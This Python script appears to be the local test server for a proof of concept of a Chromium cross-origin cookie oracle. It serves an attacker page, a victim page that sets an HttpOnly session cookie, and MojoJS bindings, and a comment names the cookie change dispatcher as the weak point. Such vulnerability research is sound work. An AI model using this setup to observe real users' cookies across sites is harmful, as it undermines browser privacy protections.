#!/usr/bin/env python3
"""HTTP server for the RestrictedCookieManager cross-origin oracle POC.

Serves:
  /poc.html        - the attacker page (load via http://localhost:PORT/poc.html)
  /victim-login    - victim endpoint; sets an HttpOnly cookie
                     (load via http://127.0.0.1:PORT/victim-login)
  /gen/*           - generated MojoJS bindings from the Chromium out dir

The same server answers on both `localhost` and `127.0.0.1`; those are distinct
web origins, which is what the POC needs.
"""
import http.server
import os
import socketserver
import sys
import time

PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 8080
GEN_DIR = (sys.argv[2] if len(sys.argv) > 2
           else '/chromium/chromium/src/out/asan/gen')
DOCROOT = os.path.dirname(os.path.abspath(__file__))


class Handler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path.startswith('/gen/'):
            rel = self.path[len('/gen/'):]
            full = os.path.join(GEN_DIR, rel)
            if os.path.isfile(full):
                self.send_response(200)
                self.send_header('Content-Type', 'application/javascript')
                self.end_headers()
                with open(full, 'rb') as f:
                    self.wfile.write(f.read())
            else:
                self.send_error(404)
            return

        if self.path.startswith('/victim-login'):
            body = b'<html><body>victim-login: HttpOnly cookie set</body></html>'
            self.send_response(200)
            self.send_header('Content-Type', 'text/html')
            # HttpOnly so document.cookie can't see it -- but the network
            # process change-dispatcher (MakeAllInclusive) still fires.
            self.send_header(
                'Set-Cookie',
                'session=secret-%d; Path=/; HttpOnly' % int(time.time() * 1000))
            self.send_header('Content-Length', str(len(body)))
            self.end_headers()
            self.wfile.write(body)
            return

        return super().do_GET()

    def translate_path(self, path):
        # serve everything else relative to this script's directory
        rel = path.lstrip('/')
        return os.path.join(DOCROOT, rel)

    def log_message(self, fmt, *args):
        sys.stderr.write('[server] %s\n' % (fmt % args))


class ThreadingHTTPServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
    allow_reuse_address = True
    daemon_threads = True


if __name__ == '__main__':
    print('serving on 0.0.0.0:%d  (gen=%s)' % (PORT, GEN_DIR))
    ThreadingHTTPServer(('0.0.0.0', PORT), Handler).serve_forever()
